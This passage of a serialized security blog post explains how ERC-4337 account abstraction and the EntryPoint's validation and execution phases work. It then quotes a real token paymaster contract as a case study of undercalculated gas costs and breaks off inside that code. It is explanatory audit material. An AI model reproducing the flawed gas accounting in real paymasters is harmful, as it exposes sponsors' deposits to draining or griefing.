ERC‑4337 Was Introduced",{"type":23,"tag":32,"props":103897,"children":103898},{},[103899],{"type":29,"value":103900},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":1022,"props":103902,"children":103903},{},[103904,103909,103914,103919,103924],{"type":23,"tag":143,"props":103905,"children":103906},{},[103907],{"type":29,"value":103908},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":143,"props":103910,"children":103911},{},[103912],{"type":29,"value":103913},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":143,"props":103915,"children":103916},{},[103917],{"type":29,"value":103918},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":143,"props":103920,"children":103921},{},[103922],{"type":29,"value":103923},"Using custom signature schemes or multisig logic",{"type":23,"tag":143,"props":103925,"children":103926},{},[103927],{"type":29,"value":103928},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":24,"props":103930,"children":103932},{"id":103931},"how-erc-4337-works",[103933],{"type":29,"value":103934},"How ERC-4337 Works",{"type":23,"tag":32,"props":103936,"children":103937},{},[103938],{"type":29,"value":103939},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":32,"props":103941,"children":103942},{},[103943],{"type":23,"tag":199,"props":103944,"children":103946},{"alt":201,"src":103945},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":32,"props":103948,"children":103949},{},[103950],{"type":29,"value":103951},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":320,"props":103953,"children":103955},{"id":103954},"useroperation",[103956],{"type":23,"tag":154,"props":103957,"children":103959},{"className":103958},[],[103960],{"type":29,"value":103961},"UserOperation",{"type":23,"tag":32,"props":103963,"children":103964},{},[103965],{"type":29,"value":103966},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":1022,"props":103968,"children":103969},{},[103970,103975,103980],{"type":23,"tag":143,"props":103971,"children":103972},{},[103973],{"type":29,"value":103974},"Target contract call(s)",{"type":23,"tag":143,"props":103976,"children":103977},{},[103978],{"type":29,"value":103979},"Signature or validation metadata",{"type":23,"tag":143,"props":103981,"children":103982},{},[103983,103985,103991],{"type":29,"value":103984},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":154,"props":103986,"children":103988},{"className":103987},[],[103989],{"type":29,"value":103990},"UserOperations",{"type":29,"value":103992}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":320,"props":103994,"children":103996},{"id":103995},"smart-contract-account",[103997],{"type":29,"value":103998},"Smart Contract Account",{"type":23,"tag":32,"props":104000,"children":104001},{},[104002,104004,104010,104011,104017],{"type":29,"value":104003},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":154,"props":104005,"children":104007},{"className":104006},[],[104008],{"type":29,"value":104009},"validateUserOp()",{"type":29,"value":4478},{"type":23,"tag":154,"props":104012,"children":104014},{"className":104013},[],[104015],{"type":29,"value":104016},"executeUserOp()",{"type":29,"value":104018},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":320,"props":104020,"children":104022},{"id":104021},"bundler",[104023],{"type":29,"value":104024},"Bundler",{"type":23,"tag":32,"props":104026,"children":104027},{},[104028,104030,104035,104037,104043],{"type":29,"value":104029},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":154,"props":104031,"children":104033},{"className":104032},[],[104034],{"type":29,"value":103990},{"type":29,"value":104036},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":154,"props":104038,"children":104040},{"className":104039},[],[104041],{"type":29,"value":104042},"EntryPoint",{"type":29,"value":104044}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":320,"props":104046,"children":104047},{"id":16769},[104048],{"type":23,"tag":154,"props":104049,"children":104051},{"className":104050},[],[104052],{"type":29,"value":104042},{"type":23,"tag":32,"props":104054,"children":104055},{},[104056,104057,104062,104064,104069,104071,104075,104077,104082],{"type":29,"value":18661},{"type":23,"tag":154,"props":104058,"children":104060},{"className":104059},[],[104061],{"type":29,"value":104042},{"type":29,"value":104063}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":154,"props":104065,"children":104067},{"className":104066},[],[104068],{"type":29,"value":103990},{"type":29,"value":104070}," submitted by a ",{"type":23,"tag":38,"props":104072,"children":104073},{},[104074],{"type":29,"value":104024},{"type":29,"value":104076},", the ",{"type":23,"tag":154,"props":104078,"children":104080},{"className":104079},[],[104081],{"type":29,"value":104042},{"type":29,"value":104083}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":32,"props":104085,"children":104086},{},[104087,104089,104094,104096,104100,104102,104107,104109,104115],{"type":29,"value":104088},"Once all operations have been processed, the ",{"type":23,"tag":154,"props":104090,"children":104092},{"className":104091},[],[104093],{"type":29,"value":104042},{"type":29,"value":104095}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":38,"props":104097,"children":104098},{},[104099],{"type":29,"value":104024},{"type":29,"value":104101},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":154,"props":104103,"children":104105},{"className":104104},[],[104106],{"type":29,"value":104042},{"type":29,"value":104108}," or from a ",{"type":23,"tag":154,"props":104110,"children":104112},{"className":104111},[],[104113],{"type":29,"value":104114},"paymaster",{"type":29,"value":104116}," that has agreed to sponsor the transaction.",{"type":23,"tag":320,"props":104118,"children":104119},{"id":104114},[104120],{"type":23,"tag":154,"props":104121,"children":104123},{"className":104122},[],[104124],{"type":29,"value":104125},"Paymaster",{"type":23,"tag":32,"props":104127,"children":104128},{},[104129,104131,104136],{"type":29,"value":104130},"A ",{"type":23,"tag":154,"props":104132,"children":104134},{"className":104133},[],[104135],{"type":29,"value":104114},{"type":29,"value":104137}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":1022,"props":104139,"children":104140},{},[104141,104152],{"type":23,"tag":143,"props":104142,"children":104143},{},[104144,104150],{"type":23,"tag":154,"props":104145,"children":104147},{"className":104146},[],[104148],{"type":29,"value":104149},"validatePaymasterUserOp()",{"type":29,"value":104151}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":143,"props":104153,"children":104154},{},[104155,104161],{"type":23,"tag":154,"props":104156,"children":104158},{"className":104157},[],[104159],{"type":29,"value":104160},"postOp()",{"type":29,"value":104162},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":32,"props":104164,"children":104165},{},[104166,104168,104173],{"type":29,"value":104167},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":154,"props":104169,"children":104171},{"className":104170},[],[104172],{"type":29,"value":104114},{"type":29,"value":104174}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":24,"props":104176,"children":104178},{"id":104177},"understanding-the-entrypoints-flow",[104179,104181,104186],{"type":29,"value":104180},"Understanding the ",{"type":23,"tag":154,"props":104182,"children":104184},{"className":104183},[],[104185],{"type":29,"value":104042},{"type":29,"value":104187},"'s Flow",{"type":23,"tag":32,"props":104189,"children":104190},{},[104191,104193,104198,104199,104204,104206,104217,104219,104224,104225,104230],{"type":29,"value":104192},"When a bundler submits ",{"type":23,"tag":154,"props":104194,"children":104196},{"className":104195},[],[104197],{"type":29,"value":103990},{"type":29,"value":18459},{"type":23,"tag":154,"props":104200,"children":104202},{"className":104201},[],[104203],{"type":29,"value":104042},{"type":29,"value":104205}," contract via ",{"type":23,"tag":68,"props":104207,"children":104210},{"href":104208,"rel":104209},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[72],[104211],{"type":23,"tag":154,"props":104212,"children":104214},{"className":104213},[],[104215],{"type":29,"value":104216},"handleOps()",{"type":29,"value":104218},", the processing occurs in two main phases: ",{"type":23,"tag":38,"props":104220,"children":104221},{},[104222],{"type":29,"value":104223},"Validation",{"type":29,"value":4478},{"type":23,"tag":38,"props":104226,"children":104227},{},[104228],{"type":29,"value":104229},"Execution",{"type":29,"value":357},{"type":23,"tag":320,"props":104232,"children":104234},{"id":104233},"validation-phase",[104235],{"type":29,"value":104236},"Validation Phase",{"type":23,"tag":32,"props":104238,"children":104239},{},[104240,104242,104247,104249,104255,104257,104263,104264,104269],{"type":29,"value":104241},"In this phase, the ",{"type":23,"tag":154,"props":104243,"children":104245},{"className":104244},[],[104246],{"type":29,"value":104042},{"type":29,"value":104248}," first validates all operations in the submitted ",{"type":23,"tag":154,"props":104250,"children":104252},{"className":104251},[],[104253],{"type":29,"value":104254},"UserOps",{"type":29,"value":104256}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":154,"props":104258,"children":104260},{"className":104259},[],[104261],{"type":29,"value":104262},"UserOp",{"type":29,"value":104076},{"type":23,"tag":154,"props":104265,"children":104267},{"className":104266},[],[104268],{"type":29,"value":104042},{"type":29,"value":6533},{"type":23,"tag":139,"props":104271,"children":104272},{},[104273,104291,104309,104330,104342],{"type":23,"tag":143,"props":104274,"children":104275},{},[104276,104283,104285],{"type":23,"tag":68,"props":104277,"children":104280},{"href":104278,"rel":104279},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[72],[104281],{"type":29,"value":104282},"Calculates",{"type":29,"value":104284}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":154,"props":104286,"children":104288},{"className":104287},[],[104289],{"type":29,"value":104290},"maxFeePerGas",{"type":23,"tag":143,"props":104292,"children":104293},{},[104294,104301,104302,104307],{"type":23,"tag":68,"props":104295,"children":104298},{"href":104296,"rel":104297},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[72],[104299],{"type":29,"value":104300},"Calls",{"type":29,"value":1698},{"type":23,"tag":154,"props":104303,"children":104305},{"className":104304},[],[104306],{"type":29,"value":104009},{"type":29,"value":104308}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":143,"props":104310,"children":104311},{},[104312,104314,104321,104323,104328],{"type":29,"value":104313},"If no paymaster is specified, attempts to ",{"type":23,"tag":68,"props":104315,"children":104318},{"href":104316,"rel":104317},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[72],[104319],{"type":29,"value":104320},"deduct",{"type":29,"value":104322}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":154,"props":104324,"children":104326},{"className":104325},[],[104327],{"type":29,"value":104042},{"type":29,"value":104329}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":143,"props":104331,"children":104332},{},[104333,104340],{"type":23,"tag":68,"props":104334,"children":104337},{"href":104335,"rel":104336},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[72],[104338],{"type":29,"value":104339},"Validates",{"type":29,"value":104341}," the nonce to prevent replay attacks",{"type":23,"tag":143,"props":104343,"children":104344},{},[104345,104347,104353,104355,104361,104362,104367],{"type":29,"value":104346},"If a paymaster is specified, it will ",{"type":23,"tag":68,"props":104348,"children":104351},{"href":104349,"rel":104350},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[72],[104352],{"type":29,"value":104320},{"type":29,"value":104354}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":68,"props":104356,"children":104359},{"href":104357,"rel":104358},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[72],[104360],{"type":29,"value":40352},{"type":29,"value":1698},{"type":23,"tag":154,"props":104363,"children":104365},{"className":104364},[],[104366],{"type":29,"value":104149},{"type":29,"value":104368}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":32,"props":104370,"children":104371},{},[104372,104374,104379,104381,104386],{"type":29,"value":104373},"Only after all these validation checks pass will the ",{"type":23,"tag":154,"props":104375,"children":104377},{"className":104376},[],[104378],{"type":29,"value":104042},{"type":29,"value":104380}," move on to actually executing the ",{"type":23,"tag":154,"props":104382,"children":104384},{"className":104383},[],[104385],{"type":29,"value":103961},{"type":29,"value":104387},". This strict validation flow ensures that:",{"type":23,"tag":1022,"props":104389,"children":104390},{},[104391,104396,104401,104406],{"type":23,"tag":143,"props":104392,"children":104393},{},[104394],{"type":29,"value":104395},"The operation is legitimate and authorized by the user",{"type":23,"tag":143,"props":104397,"children":104398},{},[104399],{"type":29,"value":104400},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":143,"props":104402,"children":104403},{},[104404],{"type":29,"value":104405},"The operation cannot be replayed",{"type":23,"tag":143,"props":104407,"children":104408},{},[104409],{"type":29,"value":104410},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":32,"props":104412,"children":104413},{},[104414],{"type":29,"value":104415},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":320,"props":104417,"children":104419},{"id":104418},"execution-phase",[104420],{"type":29,"value":104421},"Execution Phase",{"type":23,"tag":32,"props":104423,"children":104424},{},[104425,104427,104432,104434,104441,104443,104448],{"type":29,"value":104426},"After all operations have passed validation, the ",{"type":23,"tag":154,"props":104428,"children":104430},{"className":104429},[],[104431],{"type":29,"value":104042},{"type":29,"value":104433}," begins the ",{"type":23,"tag":68,"props":104435,"children":104438},{"href":104436,"rel":104437},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[72],[104439],{"type":29,"value":104440},"execution",{"type":29,"value":104442}," phase, processing each ",{"type":23,"tag":154,"props":104444,"children":104446},{"className":104445},[],[104447],{"type":29,"value":103961},{"type":29,"value":104449}," individually. For each operation, the flow is:",{"type":23,"tag":139,"props":104451,"children":104452},{},[104453,104513,104559],{"type":23,"tag":143,"props":104454,"children":104455},{},[104456,104457,104462,104464,104470,104471,104477,104479],{"type":29,"value":18661},{"type":23,"tag":154,"props":104458,"children":104460},{"className":104459},[],[104461],{"type":29,"value":104042},{"type":29,"value":104463}," makes a ",{"type":23,"tag":68,"props":104465,"children":104468},{"href":104466,"rel":104467},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[72],[104469],{"type":29,"value":40352},{"type":29,"value":58837},{"type":23,"tag":154,"props":104472,"children":104474},{"className":104473},[],[104475],{"type":29,"value":104476},"innerHandleOp()",{"type":29,"value":104478},", which:\n",{"type":23,"tag":1022,"props":104480,"children":104481},{},[104482,104494,104499],{"type":23,"tag":143,"props":104483,"children":104484},{},[104485,104492],{"type":23,"tag":68,"props":104486,"children":104489},{"href":104487,"rel":104488},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[72],[104490],{"type":29,"value":104491},"Forwards",{"type":29,"value":104493}," the operation to the sender's smart account contract",{"type":23,"tag":143,"props":104495,"children":104496},{},[104497],{"type":29,"value":104498},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":143,"props":104500,"children":104501},{},[104502,104504,104511],{"type":29,"value":104503},"Handles ",{"type":23,"tag":68,"props":104505,"children":104508},{"href":104506,"rel":104507},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[72],[104509],{"type":29,"value":104510},"post-execution",{"type":29,"value":104512}," tasks and cleanup",{"type":23,"tag":143,"props":104514,"children":104515},{},[104516,104518,104524,104526,104532,104533,104539,104541],{"type":29,"value":104517},"If a paymaster was used, ",{"type":23,"tag":154,"props":104519,"children":104521},{"className":104520},[],[104522],{"type":29,"value":104523},"Entrypoint",{"type":29,"value":104525}," will ",{"type":23,"tag":68,"props":104527,"children":104530},{"href":104528,"rel":104529},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[72],[104531],{"type":29,"value":40352},{"type":29,"value":1698},{"type":23,"tag":154,"props":104534,"children":104536},{"className":104535},[],[104537],{"type":29,"value":104538},"paymaster.postOp()",{"type":29,"value":104540}," to:\n",{"type":23,"tag":1022,"props":104542,"children":104543},{},[104544,104549,104554],{"type":23,"tag":143,"props":104545,"children":104546},{},[104547],{"type":29,"value":104548},"Allow paymaster to finalize its accounting",{"type":23,"tag":143,"props":104550,"children":104551},{},[104552],{"type":29,"value":104553},"Process any refunds or additional charges",{"type":23,"tag":143,"props":104555,"children":104556},{},[104557],{"type":29,"value":104558},"Complete any paymaster-specific logic",{"type":23,"tag":143,"props":104560,"children":104561},{},[104562,104564,104569,104570,104577,104579],{"type":29,"value":104563},"Finally, after all operations are processed, the ",{"type":23,"tag":154,"props":104565,"children":104567},{"className":104566},[],[104568],{"type":29,"value":104042},{"type":29,"value":1698},{"type":23,"tag":68,"props":104571,"children":104574},{"href":104572,"rel":104573},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[72],[104575],{"type":29,"value":104576},"compensates",{"type":29,"value":104578}," the bundler for:\n",{"type":23,"tag":1022,"props":104580,"children":104581},{},[104582,104587,104592],{"type":23,"tag":143,"props":104583,"children":104584},{},[104585],{"type":29,"value":104586},"Gas costs from executing all operations",{"type":23,"tag":143,"props":104588,"children":104589},{},[104590],{"type":29,"value":104591},"Overhead from submitting the batch transaction",{"type":23,"tag":143,"props":104593,"children":104594},{},[104595],{"type":29,"value":104596},"Any unused gas, which is refunded",{"type":23,"tag":32,"props":104598,"children":104599},{},[104600],{"type":29,"value":104601},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":32,"props":104603,"children":104604},{},[104605,104607,104612,104614,104620,104622,104627],{"type":29,"value":104606},"Now that we understand how the ",{"type":23,"tag":154,"props":104608,"children":104610},{"className":104609},[],[104611],{"type":29,"value":104042},{"type":29,"value":104613}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":154,"props":104615,"children":104617},{"className":104616},[],[104618],{"type":29,"value":104619},"paymasters",{"type":29,"value":104621}," that align with the ",{"type":23,"tag":154,"props":104623,"children":104625},{"className":104624},[],[104626],{"type":29,"value":104042},{"type":29,"value":104628},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":37429,"props":104630,"children":104632},{"id":104631},"common-pitfalls-in-paymaster-implementation",[104633],{"type":29,"value":104634},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":32,"props":104636,"children":104637},{},[104638,104640,104645],{"type":29,"value":104639},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":154,"props":104641,"children":104643},{"className":104642},[],[104644],{"type":29,"value":104042},{"type":29,"value":104646}," to exploitation or griefing.",{"type":23,"tag":32,"props":104648,"children":104649},{},[104650,104652,104657],{"type":29,"value":104651},"In this section, we’ll walk through the ",{"type":23,"tag":38,"props":104653,"children":104654},{},[104655],{"type":29,"value":104656},"two most common pitfalls",{"type":29,"value":104658}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":24,"props":104660,"children":104662},{"id":104661},"undercalculated-gas-costs",[104663],{"type":23,"tag":38,"props":104664,"children":104665},{},[104666],{"type":29,"value":104667},"Undercalculated Gas Costs",{"type":23,"tag":32,"props":104669,"children":104670},{},[104671,104673,104678,104680,104685,104687,104692,104694,104701],{"type":29,"value":104672},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":154,"props":104674,"children":104676},{"className":104675},[],[104677],{"type":29,"value":104042},{"type":29,"value":104679},". When a ",{"type":23,"tag":154,"props":104681,"children":104683},{"className":104682},[],[104684],{"type":29,"value":103961},{"type":29,"value":104686}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":154,"props":104688,"children":104690},{"className":104689},[],[104691],{"type":29,"value":104042},{"type":29,"value":104693}," charges a ",{"type":23,"tag":68,"props":104695,"children":104698},{"href":104696,"rel":104697},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[72],[104699],{"type":29,"value":104700},"penalty of 10%",{"type":29,"value":104702}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":32,"props":104704,"children":104705},{},[104706],{"type":29,"value":104707},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":4743,"props":104709,"children":104711},{"className":6516,"code":104710,"language":6515,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[104712],{"type":23,"tag":154,"props":104713,"children":104714},{"__ignoreMap":7},[104715,104759,104766,104823,104831,104839,104881,104888,104900,104922,104943,104973,105024,105054,105075,105113,105152,105169,105208,105232,105249,105292,105314,105331,105348,105355,105362,105388,105405,105440,105471,105483,105530,105537,105544,105551,105618,105625,105632,105639,105650,105669,105688,105752,105775,105808,105823,105858,105866,105905,105930,105951,105959,105986,106013,106021,106029,106071,106078,106085,106109,106125,106132,106139,106157,106170,106177,106185],{"type":23,"tag":504,"props":104716,"children":104717},{"class":5016,"line":5017},[104718,104722,104727,104732,104737,104741,104746,104750,104755],{"type":23,"tag":504,"props":104719,"children":104720},{"style":5030},[104721],{"type":29,"value":91876},{"type":23,"tag":504,"props":104723,"children":104724},{"style":5467},[104725],{"type":29,"value":104726}," TokenPaymaster",{"type":23,"tag":504,"props":104728,"children":104729},{"style":5030},[104730],{"type":29,"value":104731}," is",{"type":23,"tag":504,"props":104733,"children":104734},{"style":5467},[104735],{"type":29,"value":104736}," BasePaymaster",{"type":23,"tag":504,"props":104738,"children":104739},{"style":5058},[104740],{"type":29,"value":4367},{"type":23,"tag":504,"props":104742,"children":104743},{"style":5467},[104744],{"type":29,"value":104745},"UniswapHelper",{"type":23,"tag":504,"props":104747,"children":104748},{"style":5058},[104749],{"type":29,"value":4367},{"type":23,"tag":504,"props":104751,"children":104752},{"style":5467},[104753],{"type":29,"value":104754},"OracleHelper",{"type":23,"tag":504,"props":104756,"children":104757},{"style":5058},[104758],{"type":29,"value":5333},{"type":23,"tag":504,"props":104760,"children":104761},{"class":5016,"line":4868},[104762],{"type":23,"tag":504,"props":104763,"children":104764},{"style":5058},[104765],{"type":29,"value":12364},{"type":23,"tag":504,"props":104767,"children":104768},{"class":5016,"line":4876},[104769,104773,104778,104782,104787,104792,104797,104801,104806,104810,104814,104819],{"type":23,"tag":504,"props":104770,"children":104771},{"style":5030},[104772],{"type":29,"value":91893},{"type":23,"tag":504,"props":104774,"children":104775},{"style":5139},[104776],{"type":29,"value":104777}," _validatePaymasterUserOp",{"type":23,"tag":504,"props":104779,"children":104780},{"style":5058},[104781],{"type":29,"value":603},{"type":23,"tag":504,"props":104783,"children":104784},{"style":5030},[104785],{"type":29,"value":104786},"PackedUserOperation",{"type":23,"tag":504,"props":104788,"children":104789},{"style":5030},[104790],{"type":29,"value":104791}," calldata",{"type":23,"tag":504,"props":104793,"children":104794},{"style":5041},[104795],{"type":29,"value":104796}," userOp",{"type":23,"tag":504,"props":104798,"children":104799},{"style":5058},[104800],{"type":29,"value":4367},{"type":23,"tag":504,"props":104802,"children":104803},{"style":5467},[104804],{"type":29,"value":104805},"bytes32",{"type":23,"tag":504,"props":104807,"children":104808},{"style":5058},[104809],{"type":29,"value":4367},{"type":23,"tag":504,"props":104811,"children":104812},{"style":5467},[104813],{"type":29,"value":48230},{"type":23,"tag":504,"props":104815,"children":104816},{"style":5041},[104817],{"type":29,"value":104818}," requiredPreFund",{"type":23,"tag":504,"props":104820,"children":104821},{"style":5058},[104822],{"type":29,"value":5200},{"type":23,"tag":504,"props":104824,"children":104825},{"class":5016,"line":5099},[104826],{"type":23,"tag":504,"props":104827,"children":104828},{"style":5030},[104829],{"type":29,"value":104830},"        internal\n",{"type":23,"tag":504,"props":104832,"children":104833},{"class":5016,"line":5203},[104834],{"type":23,"tag":504,"props":104835,"children":104836},{"style":5030},[104837],{"type":29,"value":104838},"        override\n",{"type":23,"tag":504,"props":104840,"children":104841},{"class":5016,"line":5308},[104842,104847,104851,104855,104860,104864,104868,104872,104877],{"type":23,"tag":504,"props":104843,"children":104844},{"style":5067},[104845],{"type":29,"value":104846},"        returns",{"type":23,"tag":504,"props":104848,"children":104849},{"style":5058},[104850],{"type":29,"value":5110},{"type":23,"tag":504,"props":104852,"children":104853},{"style":5467},[104854],{"type":29,"value":85892},{"type":23,"tag":504,"props":104856,"children":104857},{"style":5030},[104858],{"type":29,"value":104859}," memory",{"type":23,"tag":504,"props":104861,"children":104862},{"style":5041},[104863],{"type":29,"value":78405},{"type":23,"tag":504,"props":104865,"children":104866},{"style":5058},[104867],{"type":29,"value":4367},{"type":23,"tag":504,"props":104869,"children":104870},{"style":5467},[104871],{"type":29,"value":48230},{"type":23,"tag":504,"props":104873,"children":104874},{"style":5041},[104875],{"type":29,"value":104876}," validationResult",{"type":23,"tag":504,"props":104878,"children":104879},{"style":5058},[104880],{"type":29,"value":5200},{"type":23,"tag":504,"props":104882,"children":104883},{"class":5016,"line":5336},[104884],{"type":23,"tag":504,"props":104885,"children":104886},{"style":5058},[104887],{"type":29,"value":31241},{"type":23,"tag":504,"props":104889,"children":104890},{"class":5016,"line":5349},[104891,104896],{"type":23,"tag":504,"props":104892,"children":104893},{"style":5067},[104894],{"type":29,"value":104895},"        